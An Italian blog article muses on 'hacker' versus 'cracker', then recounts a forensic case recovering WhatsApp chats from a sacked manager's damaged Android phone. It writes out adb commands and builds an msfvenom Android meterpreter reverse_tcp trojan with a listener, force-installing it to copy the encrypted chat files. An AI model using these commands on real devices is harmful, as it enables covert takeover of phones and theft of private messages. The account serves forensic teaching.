A case history – Think Different

Author : Vincenzo Digilio

Date : 19 Febbraio 2019

L'utilizzo del termine **"Hacker"** è uno degli esempi migliori degli ultimi tempi di discriminazione dei mass media ed **uso improprio delle parole**.

Numerosi criminali informatici spacciano i loro misfatti definendoli "hack" ed ogni giorno assistiamo a slogan del tipo: *"Hacker svuotano conto in banca"*, *"Tizio risponde ad un SMS e il suo portfolio evapora"*, *"Centrale elettrica in blackout a causa di un attacco Hacker"*, *"Ransomware utilizzato per criptare dati: Hacker chiedono riscatto"*, *"Sistema di voti elettorali dirottato da Hacker"*.

In realtà **il termine esatto da utilizzare in questo caso sarebbe "Cracker"**[1], ma per la massa non fa differenza. Nella sostanza, invece, ve ne è molta. Al MIT[2] è presente un cartello che riporta undici regole che definiscono la cultura Hacker e che fanno parte della **Hacking Etiquette**, fra cui: *"Non lasciare danni"*, *"Non rubare nulla" "[...] la tua sicurezza, la sicurezza degli altri e la sicurezza di chiunque tu stia hackerando non dovrebbero mai essere compromesse"*. È evidente, dunque, come un Hacker degno di questo nome sia in realtà ben distante da un Cracker.

Gli Hacker hanno un'altra peculiarità degna di nota: pensano con la propria testa ed in maniera trasversale, **fuori dagli schemi.** Questo è uno dei motivi per cui riescono a sfruttare vulnerabilità che gli altri non vedono. Certo, lo fanno anche i Cracker, ma essi rimangono quasi sempre soggetti ad uno dei fondamentali assunti del sistema: potere/profitto. Tuttavia, entrambi **sono accomunati dall'essere fuori dalla legge.**

È questo il problema che molte società attuali non riescono a comprendere: un Risk Assessement[3] fatto da due ingegneri di Cyber Sicurezza, un System Integrator ed un burocrate e/o commerciale, attorno ad un tavolino, non può sostituire il confronto con il mondo reale. Sicuramente rappresenta il primo passo da compiere, ma successivamente si presenta la necessità di "pensare in maniera differente". Molte volte a farlo sono dei Cracker, poche volte degli Hacker e raramente negli ultimi anni (almeno nel nostro Paese) degli esperti di sicurezza al soldo delle varie società. Ora, **a seconda di chi sarà il primo a "pensare differentemente", potrete ipotizzare le stime dei danni e i risultati.**

Proprio l’importanza di pensare “fuori dagli schemi” si manifestò durante **uno degli ultimi Incident Case di cui mi sono occupato.**

Alla porta degli uffici si presentarono una signora di mezza età ed un uomo sulla quarantina. Dopo i consueti convenevoli arrivarono al sodo: «*Vorremmo che venisse con noi presso i nostri uffici*». Durante il viaggio in macchina mi spiegarono ciò che era accaduto.

Uno dei manager di punta di un'importante multinazionale chimica aveva sapientemente sabotato il processo di produzione di uno dei prodotti *core* della sua azienda, inserendo ad ogni step cruciale di dosaggio dei reagenti - valori leggermente differenti dagli standard, ma sufficienti a non dare nell’occhio ed al contempo produrre una soluzione finale potenzialmente dannosa.

Ora, ciò che l’azienda non riusciva a capire era come un laureato in economia e commercio potesse avere nozioni di chimica organica così sottili da influire sulla catena di montaggio del loro prodotto, in maniera così “efficace”. Quindi l’ipotesi più ovvia che gli venne in mente era che avesse un complice all’interno, magari il responsabile di produzione o del reparto qualità.

Il soggetto era stato appena licenziato e con il suo licenziamento erano sfumate tutte le possibilità di monitorarne l'attività, nei confini del lecito, senza insospettirlo.

Il responsabile IT ci accolse nel suo ufficio. In bella vista, sulla sua scrivania, c’era una busta di plastica trasparente con su scritto ***Reperto 1 e 2***. I due reperti appartenevano al manager incriminato ed erano già stati improvvisati alcuni interventi forensi, ma non avevano portato al risultato che si aspettavano: ergo, il complice non era saltato fuori. Il display dello smartphone accanto ad essi, era completamente danneggiato. Il laptop era invece immacolato, quasi mai utilizzato.

«Vogliamo visionare le chat di WhatsApp avvenute attraverso quel dispositivo» disse la figura in abito grigio, ammiccando verso il cellulare per metà distrutto.

Anch’io avrei voluto diverse cose in quel momento, ma tutte quante sarebbero risultate ironiche.

«Non ci interessa preservare il dispositivo. Ma ne abbiamo bisogno entro subito…» aggiunse la seconda figura. Tradotto voleva dire che legalmente non avevano intenzione di servirsene e quindi non sarebbe stato necessario prendere le precauzioni per non compromettere le prove, ma i tempi erano stretti.

«Dobbiamo sapere chi è coinvolto e quanti sistemi di produzione sono stati compromessi». «Credete che abbia usato WhatsApp per organizzarsi con il presunto “complice”?» risposi. *«È stato (notato che passava parecchio del suo tempo online su WhatsApp) sempre visto su WhatsApp e passava parecchio del suo tempo così, anche in diverse riunioni aziendali è stato constatato questo suo comportamento. Crediamo che possa fornirci, se non una prova schiacciante, almeno un possibile indizio...»*

Mi venne data a disposizione un'area in un open space dove vi erano anche alcuni System Administrator, fui presentato come un collaboratore esterno. Avevo a disposizione un piccolo laboratorio.

Il cellulare Android pareva esser stato schiacciato sotto una ruota, o qualcosa di simile, ma si accendeva ancora (ometterò volontariamente marca e modello).

La prima cosa che mi serviva era una shell su Android. Per chi non conoscesse adb, è l'acronimo di "Android Debug Bridge"[4] ed è un command-line tool che permette di comunicare con il device senza utilizzare il display dello smartphone attraverso un dato host. La porta Micro-USB era completamente maciullata, così tramite cavo la connessione crollava dopo diversi secondi.

È possibile accedere ad una shell adb anche utilizzando una connessione WiFi, così feci un tentativo. Chiesi la password del Wi-Fi aziendale e attesi. Esiste un'opzione per la connessione Wi-Fi di ormai quasi tutti i modelli smartphone in circolazione, chiamata: **Wi-Fi +.** Viene effettuato un check delle reti Wifi in automatico e quando lo smarphone trova una rete WiFi che già aveva in memoria, come per magia ci si auto connette al fine di non farvi sprecare traffico sulla rete dati. Vidi il dispositivo agganciarsi sulla tabella del **netdiscover**[5] che avevo lanciato sulla virtual machine di KaliLinux, ora online sul mio portatile.

Non bastava, inoltre avrei dovuto mettere in ascolto il dispositivo su una porta via USB. Così feci. Pochi secondi di connessione USB sarebbero stati sufficienti:

```
adb tcpip 3333
```

Adesso lo smartphone era in ascolto sulla porta 3333. Per mia fortuna le opzioni "Sviluppatore", "USB debugging" erano abilitate.

Tolsi il cavo USB e feci riferimento alla mia macchina Linux per vedere l'IP che gli era stato assegnato: 192.168.1.smartphone. A questo punto sempre dal mio laptop avviai la shell adb e diedi il comando:

```
adb connect 192.168.1.smartphone
```

e verificai che effettivamente il computer host fosse connesso al device target (lo smartphone):

```
adb devices    List of devices attached
192.168.1.smartphone:3333 device
```

Ero dentro. Navigai all'interno della memoria interna dello smarthopne attraverso la shell che avevo creato, utilizzando i comandi Unix.

```
adb shell ls /folder
```

Esisteva una cartella whatsapp. Effettuai un **ls** ed al suo interno mi apparve la lista agognata di msgstore.db.crypt12 (nome delle chat criptate rinominate da Whatapp).

Ora, per decriptare una chat di Whatsapp servono il database e la key associata, che con questa particolare versione di smartphone e applicazione si trova solitamente nei file di sistema:

```
/data/data/com.whatsapp/files/key
```

Navigai ancora all'interno della memoria del cellulare, ma il famoso programma di messaggistica non risultava installato. Probabilmente la vittima, in fretta e furia, aveva rimosso l'app dal dispositivo e con esso anche la key di decriptazione delle chat. Oltre tutto il dispositivo non era rooted[6], indi per cui non avrei potuto, con i mezzi a disposizione, estrarre la chiave (dato che sui sistemi non rooted la folder sarebbe risultata vuota). Avrei comunque potuto provare con altri sistemi di estrazione, ma ci sarebbe voluto molto più tempo. Mi rimaneva solo una possibilità. Prima, però, avrei dovuto estrarre le chat dal dispositivo.

Volendo, i comandi di **adb push** avrebbero potuto aiutarmi, ma decisi di **prendere il controllo del dispositivo infettandolo con un trojan.**

Quale era il piano?

1. Creare un trojan.apk
2. Eseguirlo sul sistema
3. Copiare tutti i file criptati

Utilizzai la famosa distro di KaliLinux per generare la mia apk malevola. Il primo comando che diedi somigliava a questo:

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_delmiolaptop LPOR
T=portadelmio laptop R >/root/trojan.apk
```

-p era il comando per il mio payload

LHOST il mio IP

LPORT la porta del mio PC in ascolto

R il formato RAW

>/root/trojan.apk era il percorso di output del mio file

Fatto ciò **predisposi il “Listener”, cioè mi misi in attesa di ricevere shell dalla vittima:**

```
msfconsole    use exploit/multi/handler
set payload android/meterpr
eter/reverse_tcp    set LHOST IP_delmiolaptop    set LPORT
portadelmio laptop    exploit
```

A questo punto non mi rimaneva che installare l’app forzandola sul cellulare.

Quindi la prima cosa che feci fu abilitare l’installazione da “sorgenti sconosciute”:

```
adb shell settings put global install_non_market_apps 1
```

Poi trasferii il trojan sullo smartphone:

```
adb push
```

Non mi rimase che installare l’app malevola:

```
adb install Trojan.apk
```

A questo punto, sul terminale della mia distribuzione Debian, apparve la scritta:

[*]Meterpreter[7] session 1 opened (….)

Ero dentro. Ritornai nella cartella WhatsApp ed utilizzando il comando download scaricai tutto il contenuto della cartella (ci vollero diverse ore).

Tutto il contenuto della cartella - compresi video, vocali e immagini - **erano ora sulla mia distro**. **Ma il problema persisteva: le chat erano ancora tutte criptate.**

In fretta e furia la nostra vittima aveva disinstallato l'app, certo, ma non aveva eliminato il proprio account[8]. Ed il numero era pur sempre aziendale.

Quindi **l'idea fu semplice**, chiesi di riattivare il numero della vittima allora disabilitato e a questo punto inserii la SIM in un altro smartphone. Ricreai una cartella WhatsApp, dove misi tutte le chat criptate della vittima. Reinstallai l'App utillizzando lo stesso numero di telefono e, quando WhatsApp mi chiese di ripristinare il vecchio backup locale, risposi affermativamente.

A questo punto ebbi **tutte le chat decriptate:** mi fu sufficiente salvarle in formato testuale e trasferirle su di un supporto USB.

Nel tardo pomeriggio portai la chiavetta negli uffici dei responsabili, dove scoprirono un malcontento generale e diffuso per via della recente acquisizione da parte di una società concorrente.

Referenze

1. https://it.wikipedia.org/wiki/Cracker_(informatica)
2. https://it.wikipedia.org/wiki/MIT
3. https://it.wikipedia.org/wiki/Risk_Assessment
4. https://it.wikipedia.org/wiki/Sviluppo_di_software_Android#Android_Debug_Bridge_(ADB)
5. https://securitytraning.com/how-to-identify-live-host-on-network-netdiscover/
6. https://it.wikipedia.org/wiki/Rooting
7. https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
8. https://faq.whatsapp.com/en/android/21119703/?lang=it

Articolo a cura di **Vincenzo Digilio**